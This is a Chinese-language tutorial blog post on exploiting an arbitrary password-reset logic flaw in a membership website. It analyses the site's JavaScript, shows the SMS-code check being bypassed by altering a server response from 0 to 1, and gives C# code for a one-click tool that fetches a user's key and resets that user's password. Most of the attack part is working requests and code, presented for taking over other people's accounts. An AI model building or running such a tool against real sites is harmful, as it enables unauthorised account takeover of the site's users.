如何使用C sharp编写一个逻辑漏洞自动化利用工具

如何使用C sharp编写一个逻辑漏洞自动化利用工具


扫描器的优点很多,但是缺点就是无法挖掘逻辑漏洞

我们今天就来尝试使用C sharp编写一个逻辑漏洞自动化利用工具

首先我们来找到一个可能利用的点

进行全面分析

捕获.PNG


我们可以看到是找回密码的一个点

如果利用成功,可能就会造成任意密码重置漏洞

这里提示输入会员名,手机号,这里我们可以尝试分析

寻找可能存在的用户名,手机号,手机号一般情况下可以使用13888888888来代替

用户名可以选择处常用的 test,admin,1234,123456等来寻找

我们就输入111111

捕获2.PNG


当我们输入111111的时候,发现这里出现了手机号,我们这时候要分析

任意密码重置漏洞的一些特点

1,取用户查询,query,然后发送验证码,得到验证码,输入,重置密码

这是一个动作

相当于是第一步,第二步,第三步,第四步的一个过程

我们这时候,先尝试打开源代码

捕获88.PNG


找到helpjs文件,点击打开,先分析一下他的验证过程


function SendMobileCode(mobile) {
    i = 60;
    //手机验证
    $.get("/member/ashx/Valite.ashx?s=SendMobile&Mobile=" + escape(mobile) + "&date=" + Math.random() + "&t=3",
                   function (f) {

                       if (f == 0) {

                           mobileCode(mobile);
                       }
                       else if (f == 1) {
                           alert('手机号码错误');
                           return false;
                       }
                       else if (f == 2) {
                           alert('该手机本天已经发过5次');
                           return false;
                       }
                       else if (f == 3) {
                           alert('该手机号码已被锁定,请和客服联系!');
                           return false;
                       }
                       else {
                           alert('发送失败');
                           return false;
                       }
                   })
}
function mobileCode(mobile) {
    i--;
    if (i <=0) {
        $("#timer1").html("没有收到?您可以:<a href=\"javascript:;\" onclick=\"SendMobileCode('" + mobile + "')\">" + i + "s后重发验证短信</a>(每天限发送5条验证码短信)");        
        return;
    }
    else {
        $("#timer1").html("没有收到?您可以:<a href=\"javascript:;\">" + i + "s后重发验证短信</a>(每天限发送5条验证码短信)");

    }
    $(".timer1").show();
    setTimeout("mobileCode('" + mobile + "')", 1000);



这里我们可以看到是手机验证,那么当前用户是没有手机号的,我们要做的就是利用他手机号码这个功能点,进行绕过

这里使用了randow随机方法

member/ashx/Valite.ashx?s=SendMobile&Mobile=

moBLIE 参数就是取用户的手机号

         if (f == 0) {

                           mobileCode(mobile);
                       }
                       else if (f == 1) {
                           alert('手机号码错误');
                           return false;
                       }
                       else if (f == 2) {
                           alert('该手机本天已经发过5次');
                           return false;
                       }
                       else if (f == 3) {
                           alert('该手机号码已被锁定,请和客服联系!');
                           return false;
                       }
                       else {
                           alert('发送失败');
                           return false;


这里只是简单判断了验证状态,function变量F,正确可以看到是0

   if (f == 0) {

                           mobileCode(mobile);

写的很简单,分析是可以逃过的

再往下看


function SendEmail(username) {
    j = 60;
    //邮箱验证
    $.get("/member/ashx/Valite.ashx?s=ResetPwd&username=" + escape(username) + "&date=" + Math.random(),
    function (f) {

        if (f == "true") {

            $(".yxyz:eq(0)").hide();
            $(".yxyz:eq(1)").show();
            emailcode(username);

        }
        else {
            alert("您今天已发送了5封重置密码邮件!");
            return false;
        }
    });
}


这里是取邮箱验证的,同样写的很简单,判断如果function变量的F等于true那就直接验证成功

否则,弹出警告信息

目前我们经过分析,已经得到了一些信息

就是验证第一步=0

验证等于true,否则就弹出错误信息

接着我们还是需要往下看


function NextPwd(mobile, username, des) {
    var usercode = $("#txtVC").val();
    $.get("/member/ashx/Valite.ashx?s=ValiteCode&Mobile=" + escape(mobile) + "&Code=" + escape(usercode) + "&date=" + Math.random(),
            function (f) {
                if ($.trim(f) == "1") {
                    $("#txtVCValite").html("");

                    window.location.href = "/member/pwdhelpstep2.aspx?action=member_userpwd_mobile&username=" + des


                } else {

                    $("#txtVCValite").html("<div class=\"zcTx03\">您输入的验证码不正确,请重新输入。</div>");
                    return false;
                }
            })
        }
        
        
function EditorPwd() {
    pwStrength(this.value);
    CheckPwd('TxtPassi');
    CheckPwd2('TxtPassii');
    var username = $("#uName").val();
    var pwd = $("#TxtPassi").val();

    $.get("/member/ashx/Valite.ashx?s=UpdatePwd&username=" + escape(username) + "&pwd=" + escape(pwd) + "&date=" + Math.random(),
    function (f) {

        if ($.trim(f) == "true") {

            window.location.href = "/member/pwdhelpstep3-" + escape(username) + ".html"


        } else {

            alert("操作失败,请重试!");
            return false;
        }
    })
}

注意这两段代码

是分别取第三步和第四步验证的

我们需要理清思路

首先看第一段

注意这里

 if ($.trim(f) == "1") {
                    $("#txtVCValite").html("");

                    window.location.href = "/member/pwdhelpstep2.aspx?action=member_userpwd_mobile&username=" + des


判断当前回显结果为1,那么就跳到第三步

function EditorPwd() {
    pwStrength(this.value);
    CheckPwd('TxtPassi');
    CheckPwd2('TxtPassii');
    var username = $("#uName").val();
    var pwd = $("#TxtPassi").val();

    $.get("/member/ashx/Valite.ashx?s=UpdatePwd&username=" + escape(username) + "&pwd=" + escape(pwd) + "&date=" + Math.random(),
    function (f) {

        if ($.trim(f) == "true") {

            window.location.href = "/member/pwdhelpstep3-" + escape(username) + ".html"


这里是第四步,新密码操作,这里只是简单写了一个新密码重置判断,如果等于true,既修改成功

那么思路大致我们都有了

我们就继续回到第二步,这里是一个回退方法

我们通常研究漏洞的时候,需要进行回退

也就是第三步,回到第二步,或者第四步回到第三步这样去分析,主要目的就是为了分析他的验证过程


捕获3.PNG


这里很明显是没有手机号的,而我们需要做的就是绕过它的验证,直接重置密码

我们首先输入123456


捕获80.PNG


这里是肯定提示错误的验证码,我们现在可以使用burp进行抓包,发送到response功能


捕获123.PNG

提交到发现是0

然后直接发送一下

我们直接打开源代码:查找错误信息:

定位到您输入的验证码不正确,请重新输入

捕获890.PNG


我们发现正确的验证是1

我们就修改一为1

在实际编程中,我们也可以编写这种,二次发包,什么意思呢

就是我们先使用第一次发包,先读到数据,然后再进行数据叠合,二次发包,把二次发包的结果再读回来

捕获999.PNG


点击确定


捕获90.PNG


我们发现直接就可以重置密码了,证明漏洞利用成功

接下来我们把密码重置为123456

点击确定

捕获8901.PNG


修改成功,然后我们登陆看看

捕获111.PNG


那么我们有了这个思路,回到正题

C sharp编写一个逻辑漏洞自动化利用工具呢

也就是让工具帮我们自动完成第二步,第三步,直接到第四步

首先我们编写这种工具需要注意几个问题就好了

就是我们先观察他的每一步执行参数是如何的

首先我们回到第一步

捕获899.PNG


我们查找用户111111

注意参数的变化,这里有一串加密的值,我们可以理解为key

也就是说每查询到一个用户都会以KEY来代替

那么当前我们查找的是111111用户

我们需要抓包分析一下

发现是 GET方法去传的

那么思路就很清晰了

第一步我们就是在c sharp中,建立一个用户输入的框

捕获9999.PNG


之前我们使用了httpwebquest方法编写了一个log4jexp的案例

我们需要准备一个richtextbox控件来接收用户的key

在编写之前,我们首先抓包回显一下数据构成

捕获891.PNG


这里就是用户的key了

我们现在只需要把用户传的参数记录下来就可以了


在这里member/ashx/Valite.ashx?s=isusername1&username=111111

username参数就是我们传的值

那么KEY回显就是这个数据

那么第一步思路我们有了

我们先来写第一步的思路

  WebRequest Request = WebRequest.Create("http://XXX//member/ashx/Valite.ashx?s=isusername1&username="+textBox1.Text);

先写第一步

同样我们需要来读到他的数据

   StreamReader Reader = new StreamReader(Response.GetResponseStream(),Encoding.GetEncoding("GB2312"));

      string str = Reader.ReadToEnd();


然后读到的数据,用 rich控件接收,然后进行去重处理

捕获888.PNG



这里写一个捕获异常TRY

然后来调试一下

捕获336.PNG


第一步我们完成了,接下来,我们一步一步走,观察第二步是怎么调用参数的


pwdhelpstep1-XX-1.html

我们来到验证码这里

我们已经知道,不用发验证码就可以重置密码,那么,就直接使用绕过的办法,把0改成1即可

注意提交这里

捕获801.PNG



我们注意参数

截取一段

pwdhelpstep2.aspx?action=member_userpwd_mobile&username=KEY

那么我们大概就知道应该怎么写了

也就是先读到然后再配合参数USERNAME的KEY,进行一键重置密码

接下来就方便多了

我们只需要把读到的KEY和这一段参数叠合,不就可以重置密码了吗

那么应该怎么写呢

我们直接使用一个webbrowser控件来配合即可

然后写上


     MessageBox.Show(" KEY一键叠合中,正在进行重置,请稍等...");
     webBrowser1.Navigate("http://XXX/member/pwdhelpstep2.aspx?action=member_userpwd_mobile&username=" + KEY);


先读到KEY,叠合数据,然后一键重置,工具就可以帮我们实现了

不需要我们再手动进行抓包了

我们来测试一下


捕获861.PNG




捕获660.PNG



输入我们要重置的密码,123456


捕获8901.PNG



成功修改密码,漏洞利用完成...